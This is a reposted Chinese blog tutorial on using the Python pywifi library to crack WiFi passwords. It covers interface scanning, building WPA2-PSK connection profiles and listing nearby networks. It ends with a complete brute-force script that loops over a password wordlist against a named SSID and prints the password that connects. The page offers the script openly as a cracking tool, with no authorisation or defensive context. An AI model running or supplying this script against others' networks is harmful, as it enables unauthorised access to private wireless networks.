原文鏈接: Python 使用 pywifi 模塊 破解wifi密碼
上一篇: conda 換源
下一篇: TensorFlow 線性回歸 擬合
git
https://github.com/awkman/pywifi
常見常量
from pywifi import const
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4
獲取網(wǎng)卡對象
import pywifi
wifi = pywifi.PyWiFi() # 創(chuàng)建一個(gè)無線對象
iface = wifi.interfaces()[0] # 取第一個(gè)無限網(wǎng)卡
查看對象屬性
for k in dir(iface):
print(k, getattr(iface, k))
add_network_profile <bound method Interface.add_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
connect <bound method Interface.connect of <pywifi.iface.Interface object at 0x0000022022D59668>>
disconnect <bound method Interface.disconnect of <pywifi.iface.Interface object at 0x0000022022D59668>>
name <bound method Interface.name of <pywifi.iface.Interface object at 0x0000022022D59668>>
network_profiles <bound method Interface.network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_all_network_profiles <bound method Interface.remove_all_network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_network_profile <bound method Interface.remove_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan <bound method Interface.scan of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan_results <bound method Interface.scan_results of <pywifi.iface.Interface object at 0x0000022022D59668>>
status <bound method Interface.status of <pywifi.iface.Interface object at 0x0000022022D59668>>
查看網(wǎng)卡名稱
print(iface.name())
Intel(R) Dual Band Wireless-AC 3165
斷開wifi連接
iface.disconnect()
連接wifi
# 新建配置文件
profile = pywifi.Profile()
# 設(shè)置網(wǎng)絡(luò)名稱
profile.ssid = ssid
# 打開連接
profile.auth = const.AUTH_ALG_OPEN
# 設(shè)置加密方式,是列表類型
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 設(shè)置加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 設(shè)置密碼
profile.key = pwd
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
掃描wifi信息,由于掃描需要時(shí)間,在掃描指令下達(dá)后需要等待一會才能拿到結(jié)果
iface.scan()
# iface.remove_all_network_profiles()
time.sleep(3)
a = iface.scan_results()
for i in a:
print(i, getattr(i, 'ssid'), getattr(i, 'freq'))
<pywifi.profile.Profile object at 0x0000017FB4C0D438> xjtu 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D048> xjtu 5785000
<pywifi.profile.Profile object at 0x0000017FB4C0D4E0> Mr.Yure 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D550> xjtu666 2412000
密碼文件
1234
12345
123456
123456789
1111
2222
暴力破解,需要移除配置文件,然后斷開連接,等一會后重新連接,返回是否連接成功
每次移除所有配置文件是因?yàn)槿绻锌梢杂玫倪B接的話,會自動(dòng)連接上可用的網(wǎng)絡(luò),這樣就不知道是密碼正確還是使用的記住密碼的wifi。。。。 文章來源:http://www.zghlxwxcb.cn/news/detail-416115.html
不過會清除所有記住的密碼。。。。 文章來源地址http://www.zghlxwxcb.cn/news/detail-416115.html
import pywifi
import sys
import time
from pywifi import const
wifi = pywifi.PyWiFi() # 創(chuàng)建一個(gè)無線對象
iface = wifi.interfaces()[0] # 取第一個(gè)無限網(wǎng)卡
def test_conn(ssid, pwd):
# iface.remove_all_network_profiles()
iface.disconnect()
time.sleep(1)
# 新建配置文件
profile = pywifi.Profile()
# 設(shè)置網(wǎng)絡(luò)名稱
profile.ssid = ssid
# 打開連接
profile.auth = const.AUTH_ALG_OPEN
# 設(shè)置加密方式,是列表類型
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 設(shè)置加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 設(shè)置密碼
profile.key = pwd
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
time.sleep(1)
return iface.status() == const.IFACE_CONNECTED
with open('pwds.txt') as f:
pwd_list = [i.strip() for i in f.readlines()]
for p in pwd_list:
if test_conn('ahaoboy', p):
print(p)
到了這里,關(guān)于Python 使用 pywifi 模塊 破解wifi密碼的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!